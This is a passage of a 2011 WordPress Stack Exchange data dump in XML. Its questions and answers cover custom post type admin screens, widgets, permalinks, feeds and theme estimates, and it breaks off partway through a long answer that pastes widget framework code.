  <row Id="18356" PostTypeId="2" ParentId="17162" CreationDate="2011-05-26T17:54:33.213" Score="1" ViewCount="" Body="&lt;p&gt;Don’t touch the load order, change the activation order instead. A working example can be found in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16939/does-an-activated-plugin-automatically-mean-its-methods-are-available-to-other-wp/16941#16941&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-26T17:54:33.213" />
  <row Id="18357" PostTypeId="1" AcceptedAnswerId="18358" CreationDate="2011-05-26T18:20:15.667" Score="0" ViewCount="159" Body="&lt;p&gt;I have my CPT edit screen almost looking how I want it but want to remove the filter and view options from this screen as they are not needed for this interface. How do I remove them? Are there any filters that disable them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/H4uFM.jpg&quot; alt=&quot;How my CPT edit screen looks now&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My edit screen has got to this stage by this code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Manage columns in edit screen&#xA;add_filter('manage_edit-staff_columns', 'sc_staff_modify_columns');&#xA;function sc_staff_modify_columns($staff_columns) {&#xA;    $staff_columns['title'] = __('Staff Name', 'sc_wilsons_custom');&#xA;    $staff_columns['job_role'] = __('Job Role', 'sc_wilsons_custom');&#xA;    $staff_columns['is_store_manager'] = __('Store Manager', 'sc_wilsons_custom');&#xA;    $staff_columns['located'] = __('Located At', 'sc_wilsons_custom');&#xA;    unset($staff_columns['date']);&#xA;    return $staff_columns;&#xA;}&#xA;add_action('manage_staff_posts_custom_column', 'sc_staff_manage_columns', 10, 2);&#xA;function sc_staff_manage_columns($column_name, $id) {&#xA;    global $wpdb;&#xA;    $custom = get_post_custom($id);&#xA;    switch ($column_name) {&#xA;        case 'job_role':&#xA;            echo $custom[&quot;sc_staff_job_role&quot;][0];&#xA;        break;&#xA;&#xA;        case 'is_store_manager':&#xA;            echo ($custom[&quot;sc_staff_store_manager&quot;][0] == 1) ? __('Yes', 'sc_wilsons_custom') : __('No', 'sc_wilsons_custom');&#xA;        break;&#xA;&#xA;        case 'located':&#xA;            if(is_int($custom[&quot;sc_staff_located&quot;][0])){&#xA;                $post = get_post($custom[&quot;sc_staff_located&quot;][0]);&#xA;                echo $post-&amp;gt;post_title;&#xA;            } else {&#xA;                _e('Unknown', 'sc_wilsons_custom');&#xA;            }&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT:&lt;/em&gt; if it helps I have found where the code for these bits are generated. Functions &lt;code&gt;months_dropdown()&lt;/code&gt; and &lt;code&gt;view_switcher&lt;/code&gt; in file /wp-admin/includes/class-wp-list-table.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any filters or hooks here so might be out of luck. Anyway of doing this by extending the WP_List_Table class?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-26T18:50:35.637" LastActivityDate="2011-05-26T18:50:35.637" Title="Remove filter and view options from custom post type edit screen" Tags="&lt;custom-post-types&gt;&lt;filters&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="18358" PostTypeId="2" ParentId="18357" CreationDate="2011-05-26T18:26:25.167" Score="0" ViewCount="" Body="&lt;p&gt;Css: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tablenav.top .alignleft.actions select[name=&quot;m&quot;],&#xA;.tablenav.top .alignleft.actions select#cat,&#xA;.tablenav.top .alignleft.actions input#post-query-submit,&#xA;.tablenav.top .view-switch { &#xA;    display: none; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: You'll have to take a look at the input elements ID. I guess this will be named different on custom post types.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-26T18:26:25.167" CommentCount="3" />
  <row Id="18359" PostTypeId="2" ParentId="18349" CreationDate="2011-05-26T18:44:38.500" Score="1" ViewCount="" Body="&lt;p&gt;You could make a custom rss feed.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link for that &#xA;&lt;a href=&quot;http://yoast.com/custom-rss-feeds-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/custom-rss-feeds-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply use that info to make a &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;page template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a new page through the WP interface and assign that template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url for that page is your new feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just need to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Tag_Parameters&quot; rel=&quot;nofollow&quot;&gt;adjust the query line&lt;/a&gt; to call to both tags&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have a hockey feed, my custom post type is col_avs, I've adjusted my query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = query_posts('post_type=col_avs&amp;amp;showposts='.$numposts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see it in action at &lt;a href=&quot;http://www.rvoodoo.com/hockey-feed&quot; rel=&quot;nofollow&quot;&gt;http://www.rvoodoo.com/hockey-feed&lt;/a&gt;&#xA;It goes to a feedburner feed, but that feed is generated using this method&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-26T18:44:38.500" />
  <row Id="18360" PostTypeId="2" ParentId="18312" CreationDate="2011-05-26T19:21:46.300" Score="1" ViewCount="" Body="&lt;p&gt;Just use the site address URL, &lt;code&gt;http://example.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the literature: `When the custom CDN URL works, you can access all files in your site via that URL and it will be delivered through the MaxCDN content delivery network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you normally open an image from example.com/images/example.jpg, that same image now opens with cdn.example.com/images/example.jpg as well, and it's loaded from content delivery network.`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be exactly the same for &lt;code&gt;cdn.example.com/wordpress/wp-content/uploads&lt;/code&gt; and &lt;code&gt;cdn.example.com/wordpress/wp-content/themes/twentyten&lt;/code&gt; or whatever else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So going this route, everything below your root will be available via CDN, including all your wordpress files. Why complicate things? &lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-05-26T19:45:28.003" LastActivityDate="2011-05-26T19:45:28.003" CommentCount="4" />
  <row Id="18363" PostTypeId="2" ParentId="18310" CreationDate="2011-05-26T20:24:42.883" Score="0" ViewCount="" Body="&lt;p&gt;Your &lt;code&gt;query_posts()&lt;/code&gt; should also contain information about the page you are on, for example by passing the &lt;code&gt;paged&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But doing your own &lt;code&gt;query_posts()&lt;/code&gt; with paging is a recipe for problems. WordPress already does a query for you, it's better to change this query. Otherwise it is possible that WordPress finds more or less posts than your query, which will mess up paging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain how your &lt;code&gt;Meet the gang&lt;/code&gt; page works? Is is a Page with a special template that loads the posts? Or do you work with a static front page and is this the posts page? I would hook into &lt;code&gt;pre_get_posts&lt;/code&gt; and add the correct category part of the query there.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-26T20:24:42.883" />
  <row Id="18367" PostTypeId="2" ParentId="18047" CreationDate="2011-05-26T21:03:23.920" Score="2" ViewCount="" Body="&lt;p&gt;I spent almost two months building and debugging &lt;a href=&quot;http://codecongo.com/items/1&quot; rel=&quot;nofollow&quot;&gt;Total Widget Control&lt;/a&gt; to do exactly this for all of a sites widgets. Bear with me as I strip the code out of Total Widget Control and try to make it usable for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    global $wp_query&#xA;    $twc_menu_item_object = $wp_query-&amp;gt;object_id; //is the object id of the current page.&#xA;    $objects['menu-item-object'] = ''; //the object id of the tax to display under&#xA;&#xA;    if ( taxonomy_exists($twc_menu_item_object) &amp;amp;&amp;amp; isset($objects['menu-item-object']) )&#xA;    {&#xA;        foreach ($objects['menu-item-object'] as $menu_id =&amp;gt; $menu_type)&#xA;        {&#xA;            if ( $menu_type != $twc_menu_item_object ) continue;&#xA;            if ( !cat_is_ancestor_of( $menu_id, $object_id ) ) continue;&#xA;            return true;&#xA;        }&#xA;    }&#xA;     return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T21:03:23.920" CommentCount="1" />
  <row Id="18368" PostTypeId="1" CreationDate="2011-05-26T21:14:23.753" Score="1" ViewCount="103" Body="&lt;p&gt;I need to assign some tags to my posts (for external use), but I don't want them showing anywhere that tags are listed. Can someone tell me how to do this?&lt;/p&gt;&#xA;" OwnerUserId="5267" LastActivityDate="2011-06-26T00:17:28.573" Title="How to hide certain tags from the_tags()?" Tags="&lt;tags&gt;" AnswerCount="2" />
  <row Id="18369" PostTypeId="1" AcceptedAnswerId="18372" CreationDate="2011-05-26T21:18:23.010" Score="0" ViewCount="18" Body="&lt;h3&gt;Nightly Builds or Beta Releases?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I like using the &lt;code&gt;/wp-admin/update-core.php&lt;/code&gt; utility to update wordpress. But I'd like to be able to use it to download beta releases or nightly builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know of a way to enable this? Perhaps a constant or option in &lt;code&gt;wp-config.php&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4400" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-26T21:23:19.997" LastActivityDate="2011-05-26T21:23:19.997" Title="Is there a wp-config.php option or constant that I can set to allow me to download nightly / beta builds?" Tags="&lt;admin&gt;&lt;updates&gt;&lt;core&gt;" AnswerCount="1" />
  <row Id="18370" PostTypeId="2" ParentId="17740" CreationDate="2011-05-26T21:22:06.550" Score="1" ViewCount="" Body="&lt;p&gt;Yes, its totally possible, but not the easiest thing that can be done. It took me about two months to perfect it when I was working on &lt;a href=&quot;http://codecongo.com/items/1&quot; rel=&quot;nofollow&quot;&gt;Total Widget Control&lt;/a&gt;, but I was able to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a direct override tho, what happens is that &lt;code&gt;dynamic_sidebar&lt;/code&gt; loads the &lt;code&gt;$registered_widgets&lt;/code&gt; global and loops through the widgets, triggering the callback for each of these widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step one&lt;/strong&gt;&#xA;So what I ended up doing was grabbing this registered_widgets global, backing it up to my own global and then replacing the original callbacks with an empty callback function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way dynamic_sidebars was still called, but it doesn't actually do anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step two&lt;/strong&gt;&#xA;The next step was a bit trickier and took a bit of debugging. I had to take a total count of the original widgets for the given sidebar, and then keep track of what loop that dynamic_sidebars was on. When dynamic_sidbars reached its last widget, I called my own do_action('trigger_new_sidebar').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basically allows me to start adding actions to this trigger and displaying any widgets that I wanted to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T21:22:06.550" CommentCount="1" />
  <row Id="18371" PostTypeId="1" AcceptedAnswerId="18450" CreationDate="2011-05-26T21:22:58.410" Score="0" ViewCount="101" Body="&lt;p&gt;My custom widget's form will have two pull-down menus: the content of the second menu is dependent on the user's selection in the first menu (think of the way Country and State/Province works). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the easiest implementation (though perhaps not the most user-friendly) would simply be to have the form automatically submit itself when the first pulldown is changed (ie: &lt;code&gt;&amp;lt;select onchange=&quot;submit_the_page_via_ajax()&quot;&amp;gt;&lt;/code&gt;). I tried &lt;code&gt;onchange=&quot;this.form.submit();&quot;&lt;/code&gt; but that didn't leverage the Ajax call to my surprise (I would have thought that the sophisticated WordPress developers would have &lt;a href=&quot;http://domscripting.com/presentations/xtech2006/&quot; rel=&quot;nofollow&quot;&gt;hiJaxed&lt;/a&gt; the form's submit event). They must be hijaxing the submit &lt;em&gt;button&lt;/em&gt; however, since all my view source shows me is a standard html input type for the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I would appreciate a little insight into a best practice for submitting a widget's form leveraging ajax. &lt;a href=&quot;http://www.thepicketts.org/2010/03/ajax-ifying-wordpress-widgets/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is a great post but only addresses the widget's display, not the back-end form.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-05-27T13:14:22.953" LastActivityDate="2011-05-27T13:30:48.677" Title="How can I use AJAX to save/update a widget form?" Tags="&lt;widgets&gt;&lt;ajax&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="18372" PostTypeId="2" ParentId="18369" CreationDate="2011-05-26T21:23:06.830" Score="3" ViewCount="" Body="&lt;p&gt;There's not a constant or anything there, but you can install the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/&quot; rel=&quot;nofollow&quot;&gt;WP Beta Tester plugin&lt;/a&gt; to switch your update stream to the latest nightlies.  Once you install this plugin, you can automatically update to the latest &quot;bleeding edge&quot; release from the standard update panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember, it's not advised to update production sites to the latest nightly build.  Something might be broken, so always back up before you update.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-26T21:23:06.830" />
  <row Id="18374" PostTypeId="2" ParentId="18354" CreationDate="2011-05-26T21:28:17.423" Score="1" ViewCount="" Body="&lt;p&gt;By default, WordPress uses a query variable structure for URLs because it doesn't know for sure whether or not your system supports URL rewriting.  But if your server &lt;em&gt;does&lt;/em&gt; support rewriting, you can enable &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Pretty Permalinks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, pages change from &lt;code&gt;http://blog.url/?page_id=81&lt;/code&gt; to &lt;code&gt;http://blog.url/page-slug&lt;/code&gt;.  Posts change from &lt;code&gt;http://blog.url/?p=82&lt;/code&gt; to &lt;code&gt;http://blog.url/2011/05/post-slug&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the settings to use whatever URL structure you need on the Permalinks page within WordPress.  So yes, it's something you can change globally.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-26T21:28:17.423" CommentCount="2" />
  <row Id="18377" PostTypeId="2" ParentId="10917" CreationDate="2011-05-26T21:52:29.950" Score="0" ViewCount="" Body="&lt;p&gt;I built a shortcode for calling sidebars and a shortcode for calling widgets into &lt;a href=&quot;http://codecongo.com/items/1&quot; rel=&quot;nofollow&quot;&gt;Total Widget Control&lt;/a&gt;. The sidebars where pretty easy to create, just calling &lt;code&gt;dynamic_sidebar&lt;/code&gt; inside of ob_start();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the calling of individual widgets was quite complicated. &lt;code&gt;global $wp_registered_widgets&lt;/code&gt; I think is the global variable that contains the complete widget instance. You'll need to first create your own function that allows you to grab the widget instance and then you need to call the widgets callback function in order to display the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that you're trying to use &lt;code&gt;the_widget&lt;/code&gt; actually required that you pass the widget instance as a parameter. It's not capable of hunting down the widget itself.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T21:52:29.950" />
  <row Id="18379" PostTypeId="2" ParentId="6788" CreationDate="2011-05-26T22:05:48.913" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, you can place that code directly into any file and it will display the sidebar wherever you place it.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T22:05:48.913" />
  <row Id="18381" PostTypeId="2" ParentId="5781" CreationDate="2011-05-26T22:12:52.687" Score="0" ViewCount="" Body="&lt;p&gt;You would achieve that when you first registered your sidebar within your functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $args = array(&#xA;    'name'          =&amp;gt; sprintf(__('Sidebar %d'), $i ),&#xA;    'id'            =&amp;gt; 'sidebar-$i',&#xA;    'description'   =&amp;gt; '',&#xA;    'before_widget' =&amp;gt; '&amp;lt;div id=&quot;column_%1$s&quot;&amp;gt;&amp;lt;li id=&quot;%2$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;    'after_widget'  =&amp;gt; '&amp;lt;/li&amp;gt;&amp;lt;/div&amp;gt;',&#xA;    'before_title'  =&amp;gt; '',&#xA;    'after_title'   =&amp;gt; '' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this is going to do is create that wrapper for each widget that you wanted. Just call a single &lt;code&gt;dynamic_sidebar&lt;/code&gt; call and wordpress will do the rest.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T22:12:52.687" />
  <row Id="18382" PostTypeId="1" CreationDate="2011-05-26T22:15:15.647" Score="8" ViewCount="118" Body="&lt;p&gt;I just recieved an email that asked the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;How much will cost to code a WordPress theme?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot answer this question without know the answer to a plethora of other questions. I cam up with the following off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What browsers/devices need to be supported?&lt;/li&gt;&#xA;&lt;li&gt;What core WordPress functionality needs to be supported?&lt;/li&gt;&#xA;&lt;li&gt;What template files need to be created?&lt;/li&gt;&#xA;&lt;li&gt;Are there and custom page templates?&lt;/li&gt;&#xA;&lt;li&gt;Is the theme to be internationalized?&lt;/li&gt;&#xA;&lt;li&gt;Does the theme offer functionality outside the scope of WordPress core?&lt;/li&gt;&#xA;&lt;li&gt;How complex is the design?&lt;/li&gt;&#xA;&lt;li&gt;What level of accessibility is expected?&lt;/li&gt;&#xA;&lt;li&gt;How much of WordPress functionality is represented in the PSD?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I do not have all of these written down anywhere and I'm sure that I am missing very important things. To save me time in the future as well as to help other freelancers, I thought it might be a good idea for everyone to list the questions they ask potential clients when asked to develop a theme from an unknown design.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-27T15:24:01.007" CommunityOwnedDate="2011-05-27T09:00:25.660" Title="What questions do you ask when asked to give an estimate on theme development?" Tags="&lt;theme-development&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="3" />
  <row Id="18385" PostTypeId="2" ParentId="2091" CreationDate="2011-05-26T22:23:48.970" Score="0" ViewCount="" Body="&lt;p&gt;All of the widgets and their options are stored within &lt;code&gt;global $wp_registered_widgets&lt;/code&gt;. Just load this variable and print out the contents to find the widget options that you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-05-26T22:23:48.970" />
  <row Id="18386" PostTypeId="2" ParentId="16208" CreationDate="2011-05-26T22:32:29.387" Score="2" ViewCount="" Body="&lt;p&gt;I'm plucking this code out of my &lt;strong&gt;&lt;a href=&quot;http://codecongo.com/items/1&quot; rel=&quot;nofollow&quot;&gt;Total Widget Control&lt;/a&gt;&lt;/strong&gt; plugin, so it might throw an error or two. I dunno, just let me know if it does. This is basically the widget code that I use for everything that I build.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (!function_exists(&quot;register_multiwidget&quot;)):&#xA;&#xA;/**&#xA; * Register a widget&#xA; * &#xA; * @param $widget&#xA; */&#xA;function register_multiwidget( $widget = null )&#xA;{&#xA;    static $widgets;&#xA;    if (!isset($widgets))&#xA;    {&#xA;        $widgets = array();&#xA;    }&#xA;&#xA;    if (is_null($widget)) return $widgets;&#xA;    if (!is_array($widget)) return false;&#xA;&#xA;    $defaults = array(&#xA;        'id' =&amp;gt; '1',&#xA;        'title' =&amp;gt; 'Generic Widget',&#xA;        'classname' =&amp;gt; '',&#xA;        'description' =&amp;gt; '',&#xA;        'width' =&amp;gt; 200,&#xA;        'height' =&amp;gt; 200,&#xA;        'fields' =&amp;gt; array(),&#xA;    );&#xA;&#xA;    $widgets[$widget['id']] = wp_parse_args($widget, $defaults);&#xA;&#xA;    return true;&#xA;}&#xA;&#xA;/**&#xA; * Get the registered widgets&#xA; * &#xA; * @return array&#xA; */&#xA;function get_registered_widgets()&#xA;{&#xA;    return register_multiwidget();&#xA;}&#xA;&#xA;/**&#xA; * Initialize the widgets&#xA; * &#xA; * @return boolean&#xA; */&#xA;function init_registered_widgets()&#xA;{&#xA;    //initialziing variables&#xA;    global $wp_widget_factory;&#xA;    $widgets = get_registered_widgets();&#xA;&#xA;    //reasons to fail&#xA;    if (empty($widgets) || !is_array($widgets)) return false;&#xA;&#xA;    foreach ($widgets as $id =&amp;gt; $widget)&#xA;    {&#xA;        $wp_widget_factory-&amp;gt;widgets[$id] =&amp;amp; new Multiple_Widget_Master( $widget );&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&#xA;/**&#xA; * Multiple Widget Master Class&#xA; * &#xA; * This class allows us to easily create qidgets without having to deal with the&#xA; * mass of php code.&#xA; * &#xA; * @author byrd&#xA; * @since 1.3&#xA; */&#xA;class Multiple_Widget_Master extends WP_Widget&#xA;{&#xA;&#xA;/**&#xA; * Constructor.&#xA; * &#xA; * @param $widget&#xA; */&#xA;function Multiple_Widget_Master( $widget )&#xA;{&#xA;    $this-&amp;gt;widget = apply_filters('twc_widget_setup', $widget);&#xA;    $widget_ops = array(&#xA;        'classname' =&amp;gt; $this-&amp;gt;widget['classname'], &#xA;        'description' =&amp;gt; $this-&amp;gt;widget['description'] &#xA;    );&#xA;    $this-&amp;gt;WP_Widget($this-&amp;gt;widget['id'], $this-&amp;gt;widget['title'], $widget_ops);&#xA;}&#xA;&#xA;/**&#xA; * Display the Widget View&#xA; * &#xA; * @example extract the args within the view template&#xA; extract($args[1]); &#xA;&#xA; * @param $args&#xA; * @param $instance&#xA; */&#xA;function widget($args, $instance)&#xA;{&#xA;    //initializing variables&#xA;    $widget = $this-&amp;gt;widget;&#xA;    $widget['number'] = $this-&amp;gt;number;&#xA;&#xA;    $args = array(&#xA;        'sidebar' =&amp;gt; $args,&#xA;        'widget' =&amp;gt; $widget,&#xA;        'params' =&amp;gt; $instance,&#xA;    );&#xA;&#xA;    $show_view = apply_filters('twc_widget_view', $this-&amp;gt;widget['show_view'], $widget, $instance, $args);&#xA;            ob_start();&#xA;            require_once $show_view;&#xA;}&#xA;&#xA;/**&#xA; * Update from within the admin&#xA; * &#xA; * @param $new_instance&#xA; * @param $old_instance&#xA; */&#xA;function update($new_instance, $old_instance)&#xA;{&#xA;    //initializing variables&#xA;    $new_instance = array_map('strip_tags', $new_instance);&#xA;    $instance = wp_parse_args($new_instance, $old_instance);&#xA;&#xA;    return $instance;&#xA;}&#xA;&#xA;/**&#xA; * Display the options form&#xA; * &#xA; * @param $instance&#xA; */&#xA;function form($instance)&#xA;{&#xA;    //reasons to fail&#xA;    if (empty($this-&amp;gt;widget['fields'])) return false;&#xA;    do_action('twc_widget_before');&#xA;&#xA;    $defaults = array(&#xA;        'id' =&amp;gt; '',&#xA;        'name' =&amp;gt; '',&#xA;        'desc' =&amp;gt; '',&#xA;        'type' =&amp;gt; '',&#xA;        'options' =&amp;gt; '',&#xA;        'std' =&amp;gt; '',&#xA;    );&#xA;&#xA;    foreach ($this-&amp;gt;widget['fields'] as $field)&#xA;    {&#xA;        $field = wp_parse_args($field, $defaults);&#xA;&#xA;&#xA;        if (isset($field['id']) &amp;amp;&amp;amp; array_key_exists($field['id'], $instance))&#xA;            $meta = attribute_escape($instance[$field['id']]);&#xA;&#xA;        if ($field['type'] != 'custom' &amp;amp;&amp;amp; $field['type'] != 'metabox') &#xA;        {&#xA;            echo '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;',$this-&amp;gt;get_field_id($field['id']),'&quot;&amp;gt;';&#xA;        }&#xA;        if (isset($field['name']) &amp;amp;&amp;amp; $field['name']) echo $field['name'],':';&#xA;&#xA;        switch ($field['type'])&#xA;        {&#xA;            case 'text':&#xA;                echo '&amp;lt;input type=&quot;text&quot; name=&quot;', $this-&amp;gt;get_field_name($field['id']), '&quot; id=&quot;', $this-&amp;gt;get_field_id($field['id']), '&quot; value=&quot;', $meta ? $meta : $field['std'], '&quot; class=&quot;twc_text&quot; /&amp;gt;', &#xA;                '&amp;lt;br/&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;', $field['desc'], '&amp;lt;/span&amp;gt;';&#xA;                break;&#xA;            case 'textarea':&#xA;                echo '&amp;lt;textarea class=&quot;twc_textarea&quot; name=&quot;', $this-&amp;gt;get_field_name($field['id']), '&quot; id=&quot;', $this-&amp;gt;get_field_id($field['id']), '&quot; cols=&quot;60&quot; rows=&quot;4&quot; style=&quot;width:97%&quot;&amp;gt;', $meta ? $meta : $field['std'], '&amp;lt;/textarea&amp;gt;', &#xA;                '&amp;lt;br/&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;', $field['desc'], '&amp;lt;/span&amp;gt;';&#xA;                break;&#xA;            case 'select':&#xA;                echo '&amp;lt;select class=&quot;twc_select&quot; name=&quot;', $this-&amp;gt;get_field_name($field['id']), '&quot; id=&quot;', $this-&amp;gt;get_field_id($field['id']), '&quot;&amp;gt;';&#xA;                foreach ($field['options'] as $option)&#xA;                {&#xA;                    echo '&amp;lt;option', $meta == $option ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $option, '&amp;lt;/option&amp;gt;';&#xA;                }&#xA;                echo '&amp;lt;/select&amp;gt;', &#xA;                '&amp;lt;br/&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;', $field['desc'], '&amp;lt;/span&amp;gt;';&#xA;                break;&#xA;            case 'radio':&#xA;                foreach ($field['options'] as $option)&#xA;                {&#xA;                    echo '&amp;lt;input class=&quot;twc_radio&quot; type=&quot;radio&quot; name=&quot;', $this-&amp;gt;get_field_name($field['id']), '&quot; value=&quot;', $option['value'], '&quot;', $meta == $option['value'] ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;', &#xA;                    $option['name'];&#xA;                }&#xA;                echo '&amp;lt;br/&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;', $field['desc'], '&amp;lt;/span&amp;gt;';&#xA;                break;&#xA;            case 'checkbox':&#xA;                echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;', $this-&amp;gt;get_field_name($field['id']), '&quot; id=&quot;', $this-&amp;gt;get_field_id($field['id']), '&quot; /&amp;gt; ', &#xA;                     '&amp;lt;input class=&quot;twc_checkbox&quot; type=&quot;checkbox&quot; name=&quot;', $this-&amp;gt;get_field_name($field['id']), '&quot; id=&quot;', $this-&amp;gt;get_field_id($field['id']), '&quot;', $meta ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt; ', &#xA;                '&amp;lt;br/&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;', $field['desc'], '&amp;lt;/span&amp;gt;';&#xA;                break;&#xA;            case 'custom':&#xA;                echo $field['std'];&#xA;                break;&#xA;            case 'metabox':&#xA;                if ((isset($_REQUEST['action']) &amp;amp;&amp;amp; $_REQUEST['action'] == 'edit')&#xA;                || (isset($_REQUEST['action']) &amp;amp;&amp;amp; $_REQUEST['action'] == 'add' &amp;amp;&amp;amp; isset($_REQUEST['addnew'])))&#xA;                echo '&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;query_view_params&quot; class=&quot;postbox&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;handlediv&quot; title=&quot;Click to toggle&quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&#xA;                        &amp;lt;span&amp;gt;Query View Parameters&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;div class=&quot;inside&quot;&amp;gt;';&#xA;                break;&#xA;        }&#xA;&#xA;        if ($field['type'] != 'custom' &amp;amp;&amp;amp; $field['type'] != 'metabox') &#xA;        {&#xA;            echo '&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;';&#xA;        }&#xA;    }&#xA;    do_action('twc_widget_after');&#xA;    return;&#xA;}&#xA;&#xA;}// ends Master Widget Class&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, once you've pasted this into your functions.php file you can start declaring new widgets in seconds. Here's the code to declare a new widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    register_multiwidget(array(&#xA;'id' =&amp;gt; 'first-custom-widget',  // Must be slug compatible, and 